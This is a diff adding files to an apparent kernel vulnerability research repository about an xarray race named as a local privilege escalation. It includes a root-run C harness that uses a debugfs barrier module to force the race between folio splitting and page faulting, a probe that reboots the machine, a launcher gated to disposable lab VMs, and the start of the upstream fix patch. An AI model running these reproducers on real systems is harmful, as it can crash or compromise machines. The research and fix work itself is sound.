stage_state *state) +{ + if (control_command("release %s", name) != 0) + return -1; + return wait_complete(name, state); +} + + +static unsigned char *prepare_large_folio(int fd) +{ + void *reservation; + uintptr_t aligned; + unsigned char *mapping; + unsigned long offset; + + reservation = mmap(NULL, 2 * PMD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (reservation == MAP_FAILED) + return MAP_FAILED; + aligned = ((uintptr_t)reservation + PMD_SIZE - 1) & ~(PMD_SIZE - 1); + mapping = mmap((void *)aligned, PMD_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, 0); + if (mapping == MAP_FAILED) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + for (offset = 0; offset < PMD_SIZE; offset += PAGE_SIZE_4K) + mapping[offset] = (unsigned char)(offset / PAGE_SIZE_4K); + if (madvise(mapping, PMD_SIZE, MADV_COLLAPSE) != 0) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + return reservation; +} + +static void *fault_worker(void *opaque) +{ + struct child_workload *workload = opaque; + pid_t tid; + ssize_t count; + + if (pin_current(1) != 0) + return (void *)(uintptr_t)1; + tid = (pid_t)syscall(SYS_gettid); + if (write_all(workload->ready_fd, &tid, sizeof(tid)) != 0 || + read_byte(workload->start_fd, 'S') != 0) + return (void *)(uintptr_t)1; + + count = syscall(SYS_pwrite64, workload->sink_fd, workload->source, 1, 0); + if (count != 1) + return (void *)(uintptr_t)1; + return NULL; +} + +static int child_main(int control_fd, uid_t uid, gid_t gid) +{ + struct child_workload workload = { + .source_fd = -1, + .sink_fd = -1, + .start_fd = -1, + .ready_fd = -1, + .source = MAP_FAILED, + }; + void *large_reservation; + pthread_t thread; + void *thread_result; + pid_t worker_tid; + int start_pipe[2] = { -1, -1 }; + int ready_pipe[2] = { -1, -1 }; + int error = 1; + if (pin_current(2) != 0) + goto out; + + + if (setgroups(0, NULL) != 0 || setgid(gid) != 0 || setuid(uid) != 0 || + prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) != 0) + goto out; + + workload.source_fd = (int)syscall(SYS_memfd_create, "barrier-source", + MFD_CLOEXEC); + workload.sink_fd = (int)syscall(SYS_memfd_create, "barrier-sink", + MFD_CLOEXEC); + if (workload.source_fd < 0 || workload.sink_fd < 0 || + ftruncate(workload.source_fd, PMD_SIZE) != 0 || + ftruncate(workload.sink_fd, PAGE_SIZE_4K) != 0) + goto out; + + large_reservation = prepare_large_folio(workload.source_fd); + if (large_reservation == MAP_FAILED) + goto out; + workload.source = mmap(NULL, SOURCE_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED, workload.source_fd, + (off_t)(SOURCE_PGOFF * PAGE_SIZE_4K)); + if (workload.source == MAP_FAILED) + goto out_unmap_large; + if (madvise(workload.source, SOURCE_SIZE, MADV_DONTNEED) != 0) + goto out_unmap_source; + + if (write_all(control_fd, "R", 1) != 0 || read_byte(control_fd, 'F') != 0) + goto out_unmap_source; + if (pipe2(start_pipe, O_CLOEXEC) != 0 || pipe2(ready_pipe, O_CLOEXEC) != 0) + goto out_unmap_source; + workload.start_fd = start_pipe[0]; + workload.ready_fd = ready_pipe[1]; + if (pthread_create(&thread, NULL, fault_worker, &workload) != 0) + goto out_unmap_source; + if (read_all(ready_pipe[0], &worker_tid, sizeof(worker_tid)) != 0 || + write_all(control_fd, "W", 1) != 0 || + write_all(control_fd, &worker_tid, sizeof(worker_tid)) != 0 || + read_byte(control_fd, 'S') != 0 || + write_all(start_pipe[1], "S", 1) != 0 || + write_all(control_fd, "T", 1) != 0 || + read_byte(control_fd, 'M') != 0) + goto out_join; + + errno = 0; + if (fallocate(workload.source_fd, + FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, + 0, PAGE_SIZE_4K) != 0) + goto out_join; + if (pthread_join(thread, &thread_result) != 0 || thread_result) + goto out_unmap_source; + if (write_all(control_fd, "D", 1) != 0) + goto out_unmap_source; + error = 0; + goto out_unmap_source; + +out_join: + pthread_cancel(thread); + pthread_join(thread, NULL); +out_unmap_source: + munmap(workload.source, SOURCE_SIZE); +out_unmap_large: + munmap(large_reservation, 2 * PMD_SIZE); +out: + if (start_pipe[0] >= 0) + close(start_pipe[0]); + if (start_pipe[1] >= 0) + close(start_pipe[1]); + if (ready_pipe[0] >= 0) + close(ready_pipe[0]); + if (ready_pipe[1] >= 0) + close(ready_pipe[1]); + if (workload.source_fd >= 0) + close(workload.source_fd); + if (workload.sink_fd >= 0) + close(workload.sink_fd); + close(control_fd); + return error; +} + +static void best_effort_release(void) +{ + static const char * const stages[] = { + "shmem_large_folio_insert", "xas_load_exit", "xas_find_entry", + "xas_split_begin", "xas_split_end", "filemap_pte_install", + }; + size_t index; + + for (index = 0; index < sizeof(stages) / sizeof(stages[0]); index++) + (void)control_command("release %s", stages[index]); +} + +int main(int argc, char **argv) +{ + struct stage_state load_state, split_begin_state, split_end_state; + struct stage_state find_state; + char control_buffer[4096], state_buffer[4096]; + int sockets[2], status, error = 1; + pid_t worker_tid; + uid_t uid = 65534; + gid_t gid = 65534; + long cpu_count; + + + if (argc > 1) + uid = (uid_t)strtoul(argv[1], NULL, 10); + if (argc > 2) + gid = (gid_t)strtoul(argv[2], NULL, 10); + if (!uid || !gid || geteuid() != 0) { + fprintf(stderr, "root controller and nonzero child uid/gid required\n"); + return 2; + } + cpu_count = sysconf(_SC_NPROCESSORS_ONLN); + if (cpu_count < 3 || pin_current(0) != 0) { + fprintf(stderr, "at least three online CPUs and affinity control required\n"); + return 2; + } + + + control_path = getenv("DIRTY_CROW_BARRIER_CONTROL"); + state_path = getenv("DIRTY_CROW_BARRIER_STATE"); + if (!control_path) + control_path = "/sys/kernel/debug/dirty_crow/control"; + if (!state_path) + state_path = "/sys/kernel/debug/dirty_crow/state"; + if (realpath(control_path, control_buffer) == NULL || + realpath(state_path, state_buffer) == NULL) { + perror("resolve barrier debugfs files"); + return 2; + } + control_path = control_buffer; + state_path = state_buffer; + + if (socketpair(AF_UNIX, SOCK_STREAM | SOCK_CLOEXEC, 0, sockets) != 0) { + perror("socketpair"); + return 2; + } + child_pid = fork(); + if (child_pid < 0) { + perror("fork"); + return 2; + } + if (!child_pid) { + int child_error; + + close(sockets[0]); + child_error = child_main(sockets[1], uid, gid); + _exit(child_error ? 1 : 0); + } + close(sockets[1]); + + if (read_byte(sockets[0], 'R') != 0 || + write_all(sockets[0], "F", 1) != 0 || + read_byte(sockets[0], 'W') != 0 || + read_all(sockets[0], &worker_tid, sizeof(worker_tid)) != 0 || + worker_tid <= 0) + goto fail; + if (control_command("reset") != 0 || + control_command("target %d", child_pid) != 0 || + control_command("timeout_ms %u", KERNEL_BARRIER_TIMEOUT_MS) != 0 || + control_command("arm xas_find_entry 1 %d 2 0", worker_tid) != 0 || + control_command("arm xas_load_exit 1 %d 0 1500", worker_tid) != 0 || + control_command("arm xas_split_begin 1 %d 0 500", child_pid) != 0 || + control_command("arm xas_split_end 1 %d 0 50", child_pid) != 0) + goto fail; + + if (write_all(sockets[0], "S", 1) != 0 || + read_byte(sockets[0], 'T') != 0) + goto fail; + if (wait_blocked("xas_find_entry", 1, &find_state) != 0) + goto fail; + printf("BARRIER_STAGE_BLOCKED stage=xas_find_entry_initial tid=%d cpu=%d index=%#lx offset=%#lx\n", + find_state.tid, find_state.cpu, find_state.arg0, find_state.arg1); + if (write_all(sockets[0], "M", 1) != 0 || + wait_blocked("xas_split_begin", 1, &split_begin_state) != 0) + goto fail; + printf("BARRIER_STAGE_BLOCKED stage=xas_split_begin tid=%d cpu=%d index=%#lx order=%lu\n", + split_begin_state.tid, split_begin_state.cpu, + split_begin_state.arg0, split_begin_state.arg1); + + if (control_command("release xas_find_entry") != 0 || + wait_blocked("xas_find_entry", 2, &find_state) != 0 || + wait_complete("xas_load_exit", &load_state) != 0 || + wait_complete("xas_split_begin", &split_begin_state) != 0 || + wait_complete("xas_split_end", &split_end_state) != 0) + goto fail; + if (load_state.hits != 1 || load_state.auto_release_ms != 1500 || + split_begin_state.hits != 1 || + split_begin_state.auto_release_ms != 500 || + split_end_state.hits != 1 || + split_end_state.auto_release_ms != 50) { + errno = EPROTO; + goto fail; + } + printf("BARRIER_STAGE_COMPLETED stage=xas_load_exit tid=%d cpu=%d index=%#lx offset=%#lx wait_ns=%llu\n", + load_state.tid, load_state.cpu, load_state.arg0, load_state.arg1, + load_state.wait_ns); + printf("BARRIER_STAGE_COMPLETED stage=xas_split_begin tid=%d cpu=%d index=%#lx order=%lu wait_ns=%llu\n", + split_begin_state.tid, split_begin_state.cpu, + split_begin_state.arg0, split_begin_state.arg1, + split_begin_state.wait_ns); + printf("BARRIER_STAGE_COMPLETED stage=xas_split_end tid=%d cpu=%d index=%#lx order=%lu wait_ns=%llu\n", + split_end_state.tid, split_end_state.cpu, + split_end_state.arg0, split_end_state.arg1, + split_end_state.wait_ns); + printf("BARRIER_STAGE_BLOCKED stage=xas_find_entry_resumed tid=%d cpu=%d index=%#lx offset=%#lx hits=%lld\n", + find_state.tid, find_state.cpu, find_state.arg0, find_state.arg1, + find_state.hits); + if (release_stage("xas_find_entry", &find_state) != 0) + goto fail; + + if (read_byte(sockets[0], 'D') != 0) + goto fail; + if (waitpid(child_pid, &status, 0) != child_pid || + !WIFEXITED(status) || WEXITSTATUS(status) != 0) + goto fail; + child_pid = -1; + printf("DIRTY_CROW_DETERMINISTIC_SEQUENCE_OK uid=%u gid=%u stale_load=1 split_begin=1 split_end=1 resumed_find=1\n", + (unsigned int)uid, (unsigned int)gid); + fflush(stdout); + error = 0; + goto out; + +fail: + perror("deterministic barrier sequence"); + dump_state(); + best_effort_release(); + if (child_pid > 0) { + kill(child_pid, SIGKILL); + waitpid(child_pid, NULL, 0); + child_pid = -1; + } +out: + close(sockets[0]); + (void)control_command("reset"); + return error; +} diff --git a/dirty-crow-xarray-lpe/framework/tools/dirty_crow_geometry_probe.c b/dirty-crow-xarray-lpe/framework/tools/dirty_crow_geometry_probe.c new file mode 100644 index 0000000..b7cac9d --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tools/dirty_crow_geometry_probe.c @@ -0,0 +1,41 @@ +// SPDX-License-Identifier: GPL-2.0-only +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include + +#ifndef EXPECTED_PAGE_SIZE +#error EXPECTED_PAGE_SIZE must be defined +#endif + +static const char *byte_order(void) +{ + const unsigned int value = 1; + + return *(const unsigned char *)&value == 1 ? "little" : "big"; +} + +int main(void) +{ + struct utsname uts = { 0 }; + long page_size = sysconf(_SC_PAGESIZE); + int status = 0; + + if (uname(&uts) != 0) { + fprintf(stderr, "geometry probe: uname: %s\n", strerror(errno)); + status = 1; + } + if (page_size != EXPECTED_PAGE_SIZE) + status = 1; + printf("DIRTY_CROW_GEOMETRY status=%d architecture=%s page_size=%ld expected_page_size=%d endianness=%s pointer_bits=%zu kernel_release=%s\n", + status, uts.machine, page_size, EXPECTED_PAGE_SIZE, byte_order(), + sizeof(void *) * 8, uts.release); + fflush(stdout); + sync(); + reboot(LINUX_REBOOT_CMD_RESTART); + return status; +} diff --git a/dirty-crow-xarray-lpe/framework/tools/run-dirty-crow.sh b/dirty-crow-xarray-lpe/framework/tools/run-dirty-crow.sh new file mode 100644 index 0000000..748cd8d --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tools/run-dirty-crow.sh @@ -0,0 +1,41 @@ +#!/bin/sh +set -eu + +here=$(CDPATH='' cd -- "$(dirname -- "$0")/.." && pwd) +action=${1:-probe} +if [ "$#" -gt 0 ]; then + shift +fi + +build_target() +{ + target=$1 + if ! command -v make >/dev/null 2>&1; then + echo "make is required" >&2 + exit 2 + fi + make -C "$here" "$target" +} + +case "$action" in +probe) + build_target build/dirty-crow-probe + exec "$here/build/dirty-crow-probe" "$@" + ;; +legacy-trigger) + if [ "${DIRTY_CROW_TRIGGER_ACK:-}" != "CRASHABLE_LAB_VM" ]; then + echo "set DIRTY_CROW_TRIGGER_ACK=CRASHABLE_LAB_VM for the crash trigger" >&2 + exit 2 + fi + build_target build/backstep-legacy-trigger + exec "$here/build/backstep-legacy-trigger" "$@" + ;; +backstep) + echo "direct backstep execution is disabled; use 'dirty-crow lab run' for a host-attested disposable VM" >&2 + exit 2 + ;; +*) + echo "usage: $0 {probe|legacy-trigger|backstep} [arguments...]" >&2 + exit 2 + ;; +esac diff --git a/dirty-crow-xarray-lpe/framework/tools/run_signing_tests.py b/dirty-crow-xarray-lpe/framework/tools/run_signing_tests.py new file mode 100644 index 0000000..cca3714 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tools/run_signing_tests.py @@ -0,0 +1,35 @@ +from __future__ import annotations + +import json +from pathlib import Path +import sys +import unittest + + +def main() -> int: + if len(sys.argv) != 2: + raise SystemExit("usage: run_signing_tests.py OUTPUT.json") + tests_dir = Path(__file__).resolve().parents[1] / "tests" + suite = unittest.defaultTestLoader.discover( + str(tests_dir), pattern="test_signing.py" + ) + result = unittest.TextTestRunner(verbosity=2).run(suite) + summary = { + "schema_version": 1, + "suite": "tests.test_signing", + "tests_run": result.testsRun, + "passed": result.testsRun - len(result.failures) - len(result.errors) - len(result.skipped), + "failures": len(result.failures), + "errors": len(result.errors), + "skips": len(result.skipped), + "complete": result.wasSuccessful() and not result.skipped, + } + output = Path(sys.argv[1]) + output.parent.mkdir(parents=True, exist_ok=True) + output.write_text(json.dumps(summary, indent=2) + "\n", encoding="utf-8") + print(json.dumps(summary, sort_keys=True)) + return 0 if summary["complete"] else 1 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/dirty-crow-xarray-lpe/framework/uv.lock b/dirty-crow-xarray-lpe/framework/uv.lock new file mode 100644 index 0000000..b7b534b --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/uv.lock @@ -0,0 +1,69 @@ +version = 1 +revision = 3 +requires-python = ">=3.11" + +[[package]] +name = "dirty-crow-framework" +version = "0.1.0" +source = { editable = "." } +dependencies = [ + { name = "tree-sitter" }, + { name = "tree-sitter-c" }, +] + +[package.metadata] +requires-dist = [ + { name = "tree-sitter", specifier = "==0.25.2" }, + { name = "tree-sitter-c", specifier = "==0.24.1" }, +] + +[[package]] +name = "tree-sitter" +version = "0.25.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/66/7c/0350cfc47faadc0d3cf7d8237a4e34032b3014ddf4a12ded9933e1648b55/tree-sitter-0.25.2.tar.gz", hash = "sha256:fe43c158555da46723b28b52e058ad444195afd1db3ca7720c59a254544e9c20", size = 177961, upload-time = "2025-09-25T17:37:59.751Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7c/22/88a1e00b906d26fa8a075dd19c6c3116997cb884bf1b3c023deb065a344d/tree_sitter-0.25.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b8ca72d841215b6573ed0655b3a5cd1133f9b69a6fa561aecad40dca9029d75b", size = 146752, upload-time = "2025-09-25T17:37:24.775Z" }, + { url = "https://files.pythonhosted.org/packages/57/1c/22cc14f3910017b7a76d7358df5cd315a84fe0c7f6f7b443b49db2e2790d/tree_sitter-0.25.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cc0351cfe5022cec5a77645f647f92a936b38850346ed3f6d6babfbeeeca4d26", size = 137765, upload-time = "2025-09-25T17:37:26.103Z" }, + { url = "https://files.pythonhosted.org/packages/1c/0c/d0de46ded7d5b34631e0f630d9866dab22d3183195bf0f3b81de406d6622/tree_sitter-0.25.2-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1799609636c0193e16c38f366bda5af15b1ce476df79ddaae7dd274df9e44266", size = 604643, upload-time = "2025-09-25T17:37:27.398Z" }, + { url = "https://files.pythonhosted.org/packages/34/38/b735a58c1c2f60a168a678ca27b4c1a9df725d0bf2d1a8a1c571c033111e/tree_sitter-0.25.2-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3e65ae456ad0d210ee71a89ee112ac7e72e6c2e5aac1b95846ecc7afa68a194c", size = 632229, upload-time = "2025-09-25T17:37:28.463Z" }, + { url = "https://files.pythonhosted.org/packages/32/f6/cda1e1e6cbff5e28d8433578e2556d7ba0b0209d95a796128155b97e7693/tree_sitter-0.25.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:49ee3c348caa459244ec437ccc7ff3831f35977d143f65311572b8ba0a5f265f", size = 629861, upload-time = "2025-09-25T17:37:29.593Z" }, + { url = "https://files.pythonhosted.org/packages/f9/19/427e5943b276a0dd74c2a1f1d7a7393443f13d1ee47dedb3f8127903c080/tree_sitter-0.25.2-cp311-cp311-win_amd64.whl", hash = "sha256:56ac6602c7d09c2c507c55e58dc7026b8988e0475bd0002f8a386cce5e8e8adc", size = 127304, upload-time = "2025-09-25T17:37:30.549Z" }, + { url = "https://files.pythonhosted.org/packages/eb/d9/eef856dc15f784d85d1397a17f3ee0f82df7778efce9e1961203abfe376a/tree_sitter-0.25.2-cp311-cp311-win_arm64.whl", hash = "sha256:b3d11a3a3ac89bb8a2543d75597f905a9926f9c806f40fcca8242922d1cc6ad5", size = 113990, upload-time = "2025-09-25T17:37:31.852Z" }, + { url = "https://files.pythonhosted.org/packages/3c/9e/20c2a00a862f1c2897a436b17edb774e831b22218083b459d0d081c9db33/tree_sitter-0.25.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ddabfff809ffc983fc9963455ba1cecc90295803e06e140a4c83e94c1fa3d960", size = 146941, upload-time = "2025-09-25T17:37:34.813Z" }, + { url = "https://files.pythonhosted.org/packages/ef/04/8512e2062e652a1016e840ce36ba1cc33258b0dcc4e500d8089b4054afec/tree_sitter-0.25.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:c0c0ab5f94938a23fe81928a21cc0fac44143133ccc4eb7eeb1b92f84748331c", size = 137699, upload-time = "2025-09-25T17:37:36.349Z" }, + { url = "https://files.pythonhosted.org/packages/47/8a/d48c0414db19307b0fb3bb10d76a3a0cbe275bb293f145ee7fba2abd668e/tree_sitter-0.25.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dd12d80d91d4114ca097626eb82714618dcdfacd6a5e0955216c6485c350ef99", size = 607125, upload-time = "2025-09-25T17:37:37.725Z" }, + { url = "https://files.pythonhosted.org/packages/39/d1/b95f545e9fc5001b8a78636ef942a4e4e536580caa6a99e73dd0a02e87aa/tree_sitter-0.25.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b43a9e4c89d4d0839de27cd4d6902d33396de700e9ff4c5ab7631f277a85ead9", size = 635418, upload-time = "2025-09-25T17:37:38.922Z" }, + { url = "https://files.pythonhosted.org/packages/de/4d/b734bde3fb6f3513a010fa91f1f2875442cdc0382d6a949005cd84563d8f/tree_sitter-0.25.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fbb1706407c0e451c4f8cc016fec27d72d4b211fdd3173320b1ada7a6c74c3ac", size = 631250, upload-time = "2025-09-25T17:37:40.039Z" }, + { url = "https://files.pythonhosted.org/packages/46/f2/5f654994f36d10c64d50a192239599fcae46677491c8dd53e7579c35a3e3/tree_sitter-0.25.2-cp312-cp312-win_amd64.whl", hash = "sha256:6d0302550bbe4620a5dc7649517c4409d74ef18558276ce758419cf09e578897", size = 127156, upload-time = "2025-09-25T17:37:41.132Z" }, + { url = "https://files.pythonhosted.org/packages/67/23/148c468d410efcf0a9535272d81c258d840c27b34781d625f1f627e2e27d/tree_sitter-0.25.2-cp312-cp312-win_arm64.whl", hash = "sha256:0c8b6682cac77e37cfe5cf7ec388844957f48b7bd8d6321d0ca2d852994e10d5", size = 113984, upload-time = "2025-09-25T17:37:42.074Z" }, + { url = "https://files.pythonhosted.org/packages/8c/67/67492014ce32729b63d7ef318a19f9cfedd855d677de5773476caf771e96/tree_sitter-0.25.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0628671f0de69bb279558ef6b640bcfc97864fe0026d840f872728a86cd6b6cd", size = 146926, upload-time = "2025-09-25T17:37:43.041Z" }, + { url = "https://files.pythonhosted.org/packages/4e/9c/a278b15e6b263e86c5e301c82a60923fa7c59d44f78d7a110a89a413e640/tree_sitter-0.25.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f5ddcd3e291a749b62521f71fc953f66f5fd9743973fd6dd962b092773569601", size = 137712, upload-time = "2025-09-25T17:37:44.039Z" }, + { url = "https://files.pythonhosted.org/packages/54/9a/423bba15d2bf6473ba67846ba5244b988cd97a4b1ea2b146822162256794/tree_sitter-0.25.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bd88fbb0f6c3a0f28f0a68d72df88e9755cf5215bae146f5a1bdc8362b772053", size = 607873, upload-time = "2025-09-25T17:37:45.477Z" }, + { url = "https://files.pythonhosted.org/packages/ed/4c/b430d2cb43f8badfb3a3fa9d6cd7c8247698187b5674008c9d67b2a90c8e/tree_sitter-0.25.2-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b878e296e63661c8e124177cc3084b041ba3f5936b43076d57c487822426f614", size = 636313, upload-time = "2025-09-25T17:37:46.68Z" }, + { url = "https://files.pythonhosted.org/packages/9d/27/5f97098dbba807331d666a0997662e82d066e84b17d92efab575d283822f/tree_sitter-0.25.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:d77605e0d353ba3fe5627e5490f0fbfe44141bafa4478d88ef7954a61a848dae", size = 631370, upload-time = "2025-09-25T17:37:47.993Z" }, + { url = "https://files.pythonhosted.org/packages/d4/3c/87caaed663fabc35e18dc704cd0e9800a0ee2f22bd18b9cbe7c10799895d/tree_sitter-0.25.2-cp313-cp313-win_amd64.whl", hash = "sha256:463c032bd02052d934daa5f45d183e0521ceb783c2548501cf034b0beba92c9b", size = 127157, upload-time = "2025-09-25T17:37:48.967Z" }, + { url = "https://files.pythonhosted.org/packages/d5/23/f8467b408b7988aff4ea40946a4bd1a2c1a73d17156a9d039bbaff1e2ceb/tree_sitter-0.25.2-cp313-cp313-win_arm64.whl", hash = "sha256:b3f63a1796886249bd22c559a5944d64d05d43f2be72961624278eff0dcc5cb8", size = 113975, upload-time = "2025-09-25T17:37:49.922Z" }, + { url = "https://files.pythonhosted.org/packages/07/e3/d9526ba71dfbbe4eba5e51d89432b4b333a49a1e70712aa5590cd22fc74f/tree_sitter-0.25.2-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:65d3c931013ea798b502782acab986bbf47ba2c452610ab0776cf4a8ef150fc0", size = 146776, upload-time = "2025-09-25T17:37:50.898Z" }, + { url = "https://files.pythonhosted.org/packages/42/97/4bd4ad97f85a23011dd8a535534bb1035c4e0bac1234d58f438e15cff51f/tree_sitter-0.25.2-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:bda059af9d621918efb813b22fb06b3fe00c3e94079c6143fcb2c565eb44cb87", size = 137732, upload-time = "2025-09-25T17:37:51.877Z" }, + { url = "https://files.pythonhosted.org/packages/b6/19/1e968aa0b1b567988ed522f836498a6a9529a74aab15f09dd9ac1e41f505/tree_sitter-0.25.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eac4e8e4c7060c75f395feec46421eb61212cb73998dbe004b7384724f3682ab", size = 609456, upload-time = "2025-09-25T17:37:52.925Z" }, + { url = "https://files.pythonhosted.org/packages/48/b6/cf08f4f20f4c9094006ef8828555484e842fc468827ad6e56011ab668dbd/tree_sitter-0.25.2-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:260586381b23be33b6191a07cea3d44ecbd6c01aa4c6b027a0439145fcbc3358", size = 636772, upload-time = "2025-09-25T17:37:54.647Z" }, + { url = "https://files.pythonhosted.org/packages/57/e2/d42d55bf56360987c32bc7b16adb06744e425670b823fb8a5786a1cea991/tree_sitter-0.25.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7d2ee1acbacebe50ba0f85fff1bc05e65d877958f00880f49f9b2af38dce1af0", size = 631522, upload-time = "2025-09-25T17:37:55.833Z" }, + { url = "https://files.pythonhosted.org/packages/03/87/af9604ebe275a9345d88c3ace0cf2a1341aa3f8ef49dd9fc11662132df8a/tree_sitter-0.25.2-cp314-cp314-win_amd64.whl", hash = "sha256:4973b718fcadfb04e59e746abfbb0288694159c6aeecd2add59320c03368c721", size = 130864, upload-time = "2025-09-25T17:37:57.453Z" }, + { url = "https://files.pythonhosted.org/packages/a6/6e/e64621037357acb83d912276ffd30a859ef117f9c680f2e3cb955f47c680/tree_sitter-0.25.2-cp314-cp314-win_arm64.whl", hash = "sha256:b8d4429954a3beb3e844e2872610d2a4800ba4eb42bb1990c6a4b1949b18459f", size = 117470, upload-time = "2025-09-25T17:37:58.431Z" }, +] + +[[package]] +name = "tree-sitter-c" +version = "0.24.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f1/f5/ba8cd08d717277551ade8537d3aa2a94b907c6c6e0fbcf4e4d8b1c747fa3/tree_sitter_c-0.24.1.tar.gz", hash = "sha256:7d2d0cda0b8dda428c81440c1e94367f9f13548eedca3f49768bde66b1422ad6", size = 228014, upload-time = "2025-05-24T17:32:58.384Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/15/c7/c817be36306e457c2d36cc324789046390d9d8c555c38772429ffdb7d361/tree_sitter_c-0.24.1-cp310-abi3-macosx_10_9_x86_64.whl", hash = "sha256:9c06ac26a1efdcc8b26a8a6970fbc6997c4071857359e5837d4c42892d45fe1e", size = 80940, upload-time = "2025-05-24T17:32:49.967Z" }, + { url = "https://files.pythonhosted.org/packages/7a/42/283909467290b24fdbc29bb32ee20e409a19a55002b43175d66d091ca1a4/tree_sitter_c-0.24.1-cp310-abi3-macosx_11_0_arm64.whl", hash = "sha256:942bcd7cbecd810dcf7ca6f8f834391ebf0771a89479646d891ba4ca2fdfdc88", size = 86304, upload-time = "2025-05-24T17:32:51.271Z" }, + { url = "https://files.pythonhosted.org/packages/94/53/fb4f61d4e5f15ec3da85774a4df8e58d3b5b73036cf167f0203b4dd9d158/tree_sitter_c-0.24.1-cp310-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9a74cfd7a11ca5a961fafd4d751892ee65acae667d2818968a6f079397d8d28c", size = 109996, upload-time = "2025-05-24T17:32:52.119Z" }, + { url = "https://files.pythonhosted.org/packages/5e/e8/fc541d34ee81c386c5453c2596c1763e8e9cd7cb0725f39d7dfa2276afa4/tree_sitter_c-0.24.1-cp310-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a6a807705a3978911dc7ee26a7ad36dcfacb6adfc13c190d496660ec9bd66707", size = 98137, upload-time = "2025-05-24T17:32:53.361Z" }, + { url = "https://files.pythonhosted.org/packages/32/c6/d0563319cae0d5b5780a92e2806074b24afea2a07aa4c10599b899bda3ec/tree_sitter_c-0.24.1-cp310-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:789781afcb710df34144f7e2a20cd80e325114b9119e3956c6bd1dd2d365df98", size = 94148, upload-time = "2025-05-24T17:32:54.855Z" }, + { url = "https://files.pythonhosted.org/packages/50/5a/6361df7f3fa2310c53a0d26b4702a261c332da16fa9d801e381e3a86e25f/tree_sitter_c-0.24.1-cp310-abi3-win_amd64.whl", hash = "sha256:290bff0f9c79c966496ebae45042f77543e6e4aea725f40587a8611d566231a8", size = 84703, upload-time = "2025-05-24T17:32:56.084Z" }, + { url = "https://files.pythonhosted.org/packages/22/6a/210a302e8025ac492cbaea58d3720d66b7d8034c5d747ac5e4d2d235aa25/tree_sitter_c-0.24.1-cp310-abi3-win_arm64.whl", hash = "sha256:d46bbda06f838c2dcb91daf767813671fd366b49ad84ff37db702129267b46e1", size = 82715, upload-time = "2025-05-24T17:32:57.248Z" }, +] diff --git a/dirty-crow-xarray-lpe/patches/0001-xarray-resync-non-leaf-offset-before-advancing.patch b/dirty-crow-xarray-lpe/patches/0001-xarray-resync-non-leaf-offset-before-advancing.patch new file mode 100644 index 0000000..7f71084 --- /dev/null +++ b/dirty-crow-xarray-lpe/patches/0001-xarray-resync-non-leaf-offset-before-advancing.patch @@ -0,0 +1,51 @@ +From b9d64ff791303efaeacfc67bd3fe29e4b796782d Mon Sep 17 00:00:00 2001 +From: Tim van Moorsel +Date: Mon, 31 Aug 2026 23:45:56 +0200 +Subject: [PATCH 1/2] xarray: resync non-leaf offset before advancing + +xas_find() can return a multi-index entry from a non-leaf node while +xa_index identifies a position inside the entry and xa_offset still points +at the entry's canonical sibling slot. If the entry is split before the +iterator resumes, that stale offset can descend through an earlier sibling +and move xa_index backwards. + +Synchronize xa_offset from xa_index at every node level before advancing. +Keep the existing leaf-node adjustment because its +1 form preserves the +end-of-slot transition expected by xas_next_offset(). + +This correction follows the public syzbot patch-iteration candidate and is +split from the regression test so each change can be reviewed separately. + +Fixes: b803b42823d0 ("xarray: Add XArray iterators") +Cc: stable@vger.kernel.org +Assisted-by: Gemini:gemini-3.7-flash syzbot +Reported-by: syzbot+b72767277f29b6407083@syzkaller.appspotmail.com +Closes: https://syzkaller.appspot.com/bug?extid=b72767277f29b6407083 +Link: 